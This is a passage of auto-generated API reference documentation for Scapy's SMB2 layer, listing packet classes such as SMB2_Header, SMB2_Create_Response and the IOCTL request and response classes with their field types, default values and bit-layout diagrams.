post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2724-L2740]

	








	
class scapy.layers.smb2.SMB2_Create_Response(_pkt, /, *, StructureSize=89, OplockLevel=0, Flags=<Flag 0 ()>, CreateAction=1, CreationTime=None, LastAccessTime=None, LastWriteTime=None, ChangeTime=None, AllocationSize=4096, EndOfFile=0, FileAttributes=<Flag 128 (FILE_ATTRIBUTE_NORMAL)>, Reserved2=0, FileId=<SMB2_FILEID  |>, CreateContextsBufferOffset=None, CreateContextsLen=None, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2749-L2798]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 5

	




	
OFFSET = 152

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |  OPLOCKLEVEL  |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CREATEACTION                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CREATIONTIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTACCESSTIME                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTWRITETIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CHANGETIME                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ALLOCATIONSIZE                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ENDOFFILE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILEATTRIBUTES                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILEID            |   CREATECONTEXTSBUFFEROFFSET  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |       CREATECONTEXTSLEN       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SMB2_Create_Response                     


SMB2_Create_Response fields






	StructureSize

	XLEShortField

	89



	OplockLevel

	ByteEnumField

	0



	Flags

	FlagsField

	<Flag 0 ()>



	CreateAction

	LEIntEnumField

	1



	CreationTime

	UTCTimeField

	None



	LastAccessTime

	UTCTimeField

	None



	LastWriteTime

	UTCTimeField

	None



	ChangeTime

	UTCTimeField

	None



	AllocationSize

	LELongField

	4096



	EndOfFile

	LELongField

	0



	FileAttributes

	FlagsField

	<Flag 128 (FILE_ATTRIBUTE_NORMAL)>



	Reserved2

	IntField

	0



	FileId

	PacketField

	<SMB2_FILEID  |>



	CreateContextsBufferOffset

	XLEIntField

	None



	CreateContextsLen

	LEIntField

	None



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2786-L2798]

	








	
class scapy.layers.smb2.SMB2_Echo_Request(_pkt, /, *, StructureSize=4, Reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3066-L3072]

	Bases: _SMB2_Payload


	
Command = 13

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SMB2_Echo_Request                      


SMB2_Echo_Request fields






	StructureSize

	XLEShortField

	4



	Reserved

	LEShortField

	0















	
class scapy.layers.smb2.SMB2_Echo_Response(_pkt, /, *, StructureSize=4, Reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3084-L3090]

	Bases: _SMB2_Payload


	
Command = 13

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SMB2_Echo_Response                      


SMB2_Echo_Response fields






	StructureSize

	XLEShortField

	4



	Reserved

	LEShortField

	0















	
class scapy.layers.smb2.SMB2_Encryption_Capabilities(_pkt, /, *, CipherCount=None, Ciphers=[1])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1811-L1830]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1829-L1830]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CIPHERCOUNT          |            CIPHERS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SMB2_Encryption_Capabilities                 


SMB2_Encryption_Capabilities fields






	CipherCount

	FieldLenField

	None



	Ciphers

	FieldListField

	[1]















	
class scapy.layers.smb2.SMB2_Error_ContextResponse(_pkt, /, *, ErrorDatalength=None, ErrorId=0, ErrorContextData=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1672-L1691]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        ERRORDATALENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ERRORID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ERRORCONTEXTDATA       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SMB2_Error_ContextResponse                  


SMB2_Error_ContextResponse fields






	ErrorDatalength

	FieldLenField

	None



	ErrorId

	LEIntEnumField

	0



	ErrorContextData

	MultipleTypeField (PacketField, XStrLenField)

	b''















	
class scapy.layers.smb2.SMB2_Error_Response(_pkt, /, *, StructureSize=9, ErrorContextCount=0, Reserved=0, ByteCount=None, ErrorData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1588-L1598]

	Bases: _SMB2_Payload


	
Command = -1

	




	
NTStatus

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |ERRORCONTEXTCOU|    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BYTECOUNT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ERRORDATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SMB2_Error_Response                     


SMB2_Error_Response fields






	StructureSize

	XLEShortField

	9



	ErrorContextCount

	ByteField

	0



	Reserved

	ByteField

	0



	ByteCount

	FieldLenField

	None



	ErrorData

	XStrLenField

	b''















	
class scapy.layers.smb2.SMB2_Error_Share_Redirect_Context_Response(_pkt, /, *, StructureSize=48, NotificationType=3, ResourceNameBufferOffset=None, ResourceNameLen=None, Reserved=0, TargetType=0, IPAddrCount=None, IPAddrMoveList=[], Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1626-L1666]

	Bases: _NTLMPayloadPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         STRUCTURESIZE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        NOTIFICATIONTYPE                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    RESOURCENAMEBUFFEROFFSET                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        RESOURCENAMELEN                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RESERVED           |           TARGETTYPE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          IPADDRCOUNT                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         IPADDRMOVELIST        |             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

         Fig. SMB2_Error_Share_Redirect_Context_Response          


SMB2_Error_Share_Redirect_Context_Response fields






	StructureSize

	XLEIntField

	48



	NotificationType

	LEIntEnumField

	3



	ResourceNameBufferOffset

	XLEIntField

	None



	ResourceNameLen

	LEIntField

	None



	Reserved

	ShortField

	0



	TargetType

	ShortEnumField

	0



	IPAddrCount

	FieldLenField

	None



	IPAddrMoveList

	PacketListField

	[]



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1654-L1666]

	








	
class scapy.layers.smb2.SMB2_FILEID(_pkt, /, *, Persistent=0, Volatile=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2348-L2355]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2354-L2355]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PERSISTENT                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VOLATILE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SMB2_FILEID                         


SMB2_FILEID fields






	Persistent

	XLELongField

	0



	Volatile

	XLELongField

	0















	
class scapy.layers.smb2.SMB2_Header(_pkt, /, *, Start=b'\xfeSMB', StructureSize=64, CreditCharge=0, Status=0, Command=0, CreditRequest=0, Flags=<Flag 0 ()>, NextCommand=0, MID=0, AsyncId=0, PID=0, TID=0, SessionId=0, SecuritySignature=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1394-L1557]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             START                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |          CREDITCHARGE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            COMMAND            |         CREDITREQUEST         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          NEXTCOMMAND                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MID                              |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ASYNCID                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SESSIONID                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       SECURITYSIGNATURE                       |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SMB2_Header                         


SMB2_Header fields






	Start

	StrFixedLenField

	b'\xfeSMB'



	StructureSize

	LEShortField

	64



	CreditCharge

	LEShortField

	0



	Status

	LEIntEnumField

	0



	Command

	LEShortEnumField

	0



	CreditRequest

	LEShortField

	0



	Flags

	FlagsField

	<Flag 0 ()>



	NextCommand

	XLEIntField

	0



	MID

	LELongField

	0



	AsyncId

	LELongField (Cond)

	0



	PID

	LEIntField (Cond)

	0



	TID

	LEIntField (Cond)

	0



	SessionId

	LELongField

	0



	SecuritySignature

	XStrFixedLenField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1446-L1509]

	




	
sign(dialect, SigningSessionKey, SigningAlgorithmId=None, IsClient=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1511-L1557]

	








	
class scapy.layers.smb2.SMB2_IOCTL_Network_Interface_Info(_pkt, /, *, interfaces=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3282-L3286]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           INTERFACES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SMB2_IOCTL_Network_Interface_Info              


SMB2_IOCTL_Network_Interface_Info fields






	interfaces

	_NextPacketListField

	[]















	
class scapy.layers.smb2.SMB2_IOCTL_OFFLOAD_READ_Request(_pkt, /, *, StructureSize=32, Flags=0, TokenTimeToLive=0, Reserved=0, FileOffset=0, CopyLength=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3305-L3314]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         STRUCTURESIZE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        TOKENTIMETOLIVE                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           FILEOFFSET                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           COPYLENGTH                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. SMB2_IOCTL_OFFLOAD_READ_Request               


SMB2_IOCTL_OFFLOAD_READ_Request fields






	StructureSize

	LEIntField

	32



	Flags

	LEIntField

	0



	TokenTimeToLive

	LEIntField

	0



	Reserved

	LEIntField

	0



	FileOffset

	LELongField

	0



	CopyLength

	LELongField

	0















	
class scapy.layers.smb2.SMB2_IOCTL_OFFLOAD_READ_Response(_pkt, /, *, StructureSize=528, Flags=<Flag 0 ()>, TransferLength=0, Token=<STORAGE_OFFLOAD_TOKEN  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3338-L3352]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         STRUCTURESIZE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         TRANSFERLENGTH                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             TOKEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SMB2_IOCTL_OFFLOAD_READ_Response               


SMB2_IOCTL_OFFLOAD_READ_Response fields






	StructureSize

	LEIntField

	528



	Flags

	FlagsField

	<Flag 0 ()>



	TransferLength

	LELongField

	0



	Token

	PacketField

	<STORAGE_OFFLOAD_TOKEN  |>















	
class scapy.layers.smb2.SMB2_IOCTL_REQ_GET_DFS_Referral(_pkt, /, *, MaxReferralLevel=0, RequestFileName=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3815-L3819]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        MAXREFERRALLEVEL       |        REQUESTFILENAME        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. SMB2_IOCTL_REQ_GET_DFS_Referral               


SMB2_IOCTL_REQ_GET_DFS_Referral fields






	MaxReferralLevel

	LEShortField

	0



	RequestFileName

	StrNullFieldUtf16

	b''















	
class scapy.layers.smb2.SMB2_IOCTL_RESP_GET_DFS_Referral(_pkt, /, *, PathConsumed=0, NumberOfReferrals=None, ReferralHeaderFlags=<Flag 0 ()>, ReferralEntries=[], ReferralBuffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3977-L4028]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PATHCONSUMED         |       NUMBEROFREFERRALS       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      REFERRALHEADERFLAGS                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        REFERRALENTRIES        |         REFERRALBUFFER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SMB2_IOCTL_RESP_GET_DFS_Referral               


SMB2_IOCTL_RESP_GET_DFS_Referral fields






	PathConsumed

	LEShortField

	0



	NumberOfReferrals

	FieldLenField

	None



	ReferralHeaderFlags

	FlagsField

	<Flag 0 ()>



	ReferralEntries

	PacketListField

	[]



	ReferralBuffer

	_DFS_Referrals_BufferField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L4000-L4028]

	








	
class scapy.layers.smb2.SMB2_IOCTL_Request(_pkt, /, *, StructureSize=57, Reserved=0, CtlCode=0, FileId=<SMB2_FILEID  |>, InputBufferOffset=None, InputLen=None, MaxInputResponse=0, OutputBufferOffset=None, OutputLen=None, MaxOutputResponse=1024, Flags=<Flag 0 ()>, Reserved2=0, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3143-L3216]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 11

	




	
OFFSET = 120

	




	
aliastypes

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'IntputCount': ('InputLen', 'alias'), 'OutputCount': ('OutputLen', 'alias')}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CTLCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILEID            |       INPUTBUFFEROFFSET       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            INPUTLEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        MAXINPUTRESPONSE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |       OUTPUTBUFFEROFFSET      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           OUTPUTLEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |       MAXOUTPUTRESPONSE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SMB2_IOCTL_Request                      


SMB2_IOCTL_Request fields






	StructureSize

	XLEShortField

	57



	Reserved

	LEShortField

	0



	CtlCode

	LEIntEnumField

	0



	FileId

	PacketField

	<SMB2_FILEID  |>



	InputBufferOffset

	LEIntField

	None



	InputLen

	LEIntField

	None



	MaxInputResponse

	LEIntField

	0



	OutputBufferOffset

	LEIntField

	None



	OutputLen

	LEIntField

	None



	MaxOutputResponse

	LEIntField

	1024



	Flags

	FlagsField

	<Flag 0 ()>



	Reserved2

	LEIntField

	0



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3203-L3216]

	








	
class scapy.layers.smb2.SMB2_IOCTL_Response(_pkt, /, *, StructureSize=49, Reserved=0, CtlCode=0, FileId=<SMB2_FILEID  |>, InputBufferOffset=None, InputLen=None, OutputBufferOffset=None, OutputLen=None, Flags=<Flag 0 ()>, Reserved2=0, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3369-L3415]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 11

	




	
MaxOutputResponse = 0

	




	
OFFSET = 112

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CTLCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILEID            |       INPUTBUFFEROFFSET       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            INPUTLEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |       OUTPUTBUFFEROFFSET      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           OUTPUTLEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
